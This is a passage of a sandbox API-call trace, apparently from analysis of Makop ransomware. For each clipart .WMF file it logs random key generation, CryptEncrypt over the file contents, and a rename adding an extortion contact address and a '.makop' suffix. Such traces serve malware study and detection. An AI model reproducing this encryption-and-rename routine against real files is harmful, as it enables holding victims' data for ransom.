lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.173] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.176] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.176] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.176] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.176] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4330, lpOverlapped=0x0) returned 1 [0133.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4330, dwBufLen=0x4330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4330) returned 1 [0133.178] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4330, lpOverlapped=0x0) returned 1 [0133.179] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.179] SetEndOfFile (hFile=0xf0) returned 1 [0133.186] GetProcessHeap () returned 0x48a0000 [0133.186] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.186] GetProcessHeap () returned 0x48a0000 [0133.187] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.187] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.188] CloseHandle (hObject=0xf0) returned 1 [0133.188] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0133.189] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF") returned 63 [0133.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.192] GetProcessHeap () returned 0x48a0000 [0133.192] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.192] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.192] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0133.198] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.198] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.198] GetProcessHeap () returned 0x48a0000 [0133.198] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.198] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.198] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.198] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.199] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.199] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.199] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.199] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.199] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11dee, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11dee, lpOverlapped=0x0) returned 1 [0133.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11df0, dwBufLen=0x11df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11df0) returned 1 [0133.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11df0, lpOverlapped=0x0) returned 1 [0133.203] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.203] SetEndOfFile (hFile=0xf0) returned 1 [0133.211] GetProcessHeap () returned 0x48a0000 [0133.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.211] GetProcessHeap () returned 0x48a0000 [0133.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.211] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.213] CloseHandle (hObject=0xf0) returned 1 [0133.213] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0133.213] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF") returned 63 [0133.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.214] GetProcessHeap () returned 0x48a0000 [0133.214] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.214] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0133.219] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.219] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.219] GetProcessHeap () returned 0x48a0000 [0133.219] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.219] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.219] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.220] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.220] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.221] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.221] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.221] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x94c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x94c4, lpOverlapped=0x0) returned 1 [0133.223] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x94d0, dwBufLen=0x94d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x94d0) returned 1 [0133.224] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x94d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x94d0, lpOverlapped=0x0) returned 1 [0133.224] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.224] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x95a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.225] SetEndOfFile (hFile=0xf0) returned 1 [0133.231] GetProcessHeap () returned 0x48a0000 [0133.231] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.231] GetProcessHeap () returned 0x48a0000 [0133.231] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.232] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.233] CloseHandle (hObject=0xf0) returned 1 [0133.234] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0133.234] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF") returned 63 [0133.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.235] GetProcessHeap () returned 0x48a0000 [0133.235] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.235] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.235] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.235] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0133.241] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.241] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.241] GetProcessHeap () returned 0x48a0000 [0133.241] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.241] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.241] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.241] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.241] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.242] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.242] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.242] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.242] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.243] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.243] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb5b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb5b4, lpOverlapped=0x0) returned 1 [0133.245] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5c0, dwBufLen=0xb5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb5c0) returned 1 [0133.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb5c0, lpOverlapped=0x0) returned 1 [0133.246] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.246] SetEndOfFile (hFile=0xf0) returned 1 [0133.253] GetProcessHeap () returned 0x48a0000 [0133.253] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.254] GetProcessHeap () returned 0x48a0000 [0133.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.254] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.255] CloseHandle (hObject=0xf0) returned 1 [0133.255] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0133.255] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF") returned 63 [0133.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.258] GetProcessHeap () returned 0x48a0000 [0133.258] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.258] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.258] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.262] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.262] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.262] GetProcessHeap () returned 0x48a0000 [0133.262] 